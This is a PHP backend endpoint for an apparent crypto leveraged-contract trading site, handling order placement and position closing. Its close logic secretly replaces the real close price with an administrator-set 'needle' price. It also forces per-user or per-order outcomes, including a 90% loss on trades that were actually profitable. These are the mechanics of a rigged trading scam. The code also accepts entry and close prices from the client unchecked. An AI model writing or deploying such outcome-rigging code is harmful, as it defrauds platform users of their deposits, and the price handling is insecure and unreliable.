<?php
require_once __DIR__ . '/../db/config.php';
require_once __DIR__ . '/../includes/lang.php';
session_start();

header('Content-Type: application/json');

$db = db();
$user_id = $_SESSION['user_id'] ?? null;

if (!$user_id) {
    echo json_encode(['success' => false, 'error' => __('unauthorized')]);
    exit;
}

$action = $_POST['action'] ?? 'place_order';

if ($action === 'place_order') {
    $symbol = $_POST['symbol'] ?? 'BTC';
    $direction = $_POST['direction'] ?? 'long'; // long/short
    $leverage = (int)($_POST['leverage'] ?? 1);
    $amount = (float)($_POST['amount'] ?? 0);
    $entry_price = (float)($_POST['entry_price'] ?? 0);
    $type = $_POST['type'] ?? 'market';

    if ($amount <= 0) {
        echo json_encode(['success' => false, 'error' => __('invalid_amount')]);
        exit;
    }

    $db->beginTransaction();
    try {
        // Check balance (USDT for margin)
        $margin = $amount / $leverage;
        
        $stmt = $db->prepare("SELECT available FROM user_balances WHERE user_id = ? AND symbol = 'USDT'");
        $stmt->execute([$user_id]);
        $bal = $stmt->fetchColumn() ?: 0;
        
        if ($bal < $margin) {
            throw new Exception(__('insufficient_balance'));
        }
        
        // Deduct margin
        $db->prepare("UPDATE user_balances SET available = available - ? WHERE user_id = ? AND symbol = 'USDT'")
           ->execute([$margin, $user_id]);
           
        // Insert order
        $stmt = $db->prepare("INSERT INTO contract_orders (user_id, symbol, type, direction, leverage, amount, entry_price, status, ip_address) VALUES (?, ?, ?, ?, ?, ?, ?, 'open', ?)");
        $stmt->execute([$user_id, $symbol, $type, $direction, $leverage, $amount, $entry_price, getRealIP()]);
        
        // Record transaction (Margin lock)
        $db->prepare("INSERT INTO transactions (user_id, type, amount, symbol, status, ip_address) VALUES (?, 'contract_margin', ?, 'USDT', 'completed', ?)")
           ->execute([$user_id, $margin, getRealIP()]);

        $db->commit();
        echo json_encode(['success' => true]);
    } catch (Exception $e) {
        $db->rollBack();
        echo json_encode(['success' => false, 'error' => $e->getMessage()]);
    }
} elseif ($action === 'close_order') {
    $order_id = (int)$_POST['order_id'];
    $close_price = (float)$_POST['close_price'];

    $stmt = $db->prepare("SELECT * FROM contract_orders WHERE id = ? AND user_id = ? AND status = 'open'");
    $stmt->execute([$order_id, $user_id]);
    $order = $stmt->fetch();

    if (!$order) {
        echo json_encode(['success' => false, 'error' => __('no_records_found')]);
        exit;
    }

    $db->beginTransaction();
    try {
        // Check for Price Control (Needle)
        $stmt = $db->prepare("SELECT target_price FROM price_controls WHERE symbol = ? AND execution_time <= NOW() AND DATE_ADD(execution_time, INTERVAL duration SECOND) >= NOW() LIMIT 1");
        $stmt->execute([$order['symbol']]);
        $controlled_price = $stmt->fetchColumn();
        if ($controlled_price) {
            $close_price = $controlled_price;
        }

        // Calculate Profit/Loss
        $margin = $order['amount'] / $order['leverage'];
        $diff = ($order['direction'] === 'long') ? ($close_price - $order['entry_price']) : ($order['entry_price'] - $close_price);
        $profit = ($diff / $order['entry_price']) * $order['amount'];
        
        // User Win/Loss Control
        $stmt = $db->prepare("SELECT win_loss_control FROM users WHERE id = ?");
        $stmt->execute([$user_id]);
        $user_control = $stmt->fetchColumn();

        if ($order['control_status'] == 1 || $user_control == 1) { // Win
            if ($profit <= 0) $profit = $margin * 0.1; // Force 10% profit
        } elseif ($order['control_status'] == 2 || $user_control == 2) { // Loss
            if ($profit >= 0) $profit = -$margin * 0.9; // Force 90% loss
        }

        $total_return = $margin + $profit;
        if ($total_return < 0) $total_return = 0;

        $db->prepare("UPDATE contract_orders SET close_price = ?, status = 'closed', profit = ? WHERE id = ?")
           ->execute([$close_price, $profit, $order_id]);
           
        if ($total_return > 0) {
            $db->prepare("UPDATE user_balances SET available = available + ? WHERE user_id = ? AND symbol = 'USDT'")
               ->execute([$total_return, $user_id]);
            
            // Record transaction
            $db->prepare("INSERT INTO transactions (user_id, type, amount, symbol, status, ip_address) VALUES (?, 'contract_settle', ?, 'USDT', 'completed', ?)")
               ->execute([$user_id, $total_return, getRealIP()]);
        }
        
        $db->commit();
        echo json_encode(['success' => true]);
    } catch (Exception $e) {
        $db->rollBack();
        echo json_encode(['success' => false, 'error' => $e->getMessage()]);
    }
}
